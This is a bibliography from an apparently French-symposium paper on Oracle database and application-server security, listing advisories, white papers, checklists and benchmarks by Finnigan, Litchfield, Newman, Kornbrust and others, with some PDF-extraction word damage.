-Referenceshttp://www.petefinnigan.com/weblog/archives/ 00000183.htm -Referenceshttp://www.ngssoftware.com/advisory.htm Oracle Critical Patch Updates and Security Alerts, Oracle Corporation, http://otn.oracle.com/deploy/security/alerts.htm Oracle security alerts, Pete Finnigan, http://otn.oracle.com/deploy/ security/alerts.htm Hackproong Oracle Application Server, David Litcheld, NGS Software, http://www.nextgenss.com/papers/hpoas.pdf Protecting Oracle Database White Paper, Aaron Newman, Application Security Inc., http://www.appsecinc.com/presentations/Protecting_ Oracle_Databases_White_Paper.pdf Advanced SQL Injection in Oracle databases, Esteban Mart nez Fay, o http://security-papers.globint.com.ar/oracle_security/sql_ injection_in_oracle.php

[ADVSQL]

[GOOGLE1] Google Hacking, Johnny Long, http://www.blackhat.com/ presentations/bh-europe-05/BH_EU_05-Long.pdf [GOOGLE2] Search Engines Used to Attack Databases, Aaron Newman, http://www. appsecinc.com/presentations/Search_Engine_Attack_Database.pdf [GOOGLE3] Google Hacking of Oracle Technologies, Alexander Kornbrust, http:// www.red-database-security.com/wp/google_oracle_hacking_us.pdf [LCHK] [NESSUS] [CHK9] Lsnrcheck, Integrigy, http://www.integrigy.com Nessus, http://www.nessus.org Oracle 9iR2 Security check-list, Oracle Corporation, http://otn.oracle. com/deploy/security/oracle9i/pdf/9ir2_checklist.pdf

18 [CIS] [SECOAS]

Actes du symposium SSTIC05 Oracle Database Security Benchmark v1.1, Center for Internet Security, http://www.cisecurity.org/bench_oracle.html Securing Oracle9iAS 1.0.2.x, Stephen Comstock, Oracle Corporation, http://www.oracle.com/technology/deploy/security/oracle9iAS/ pdf/securingias.pdf Oracle Security, Pete Finnigan, http://www.petefinnigan.com/orasec. htm

[FINN]

Anda mungkin juga menyukai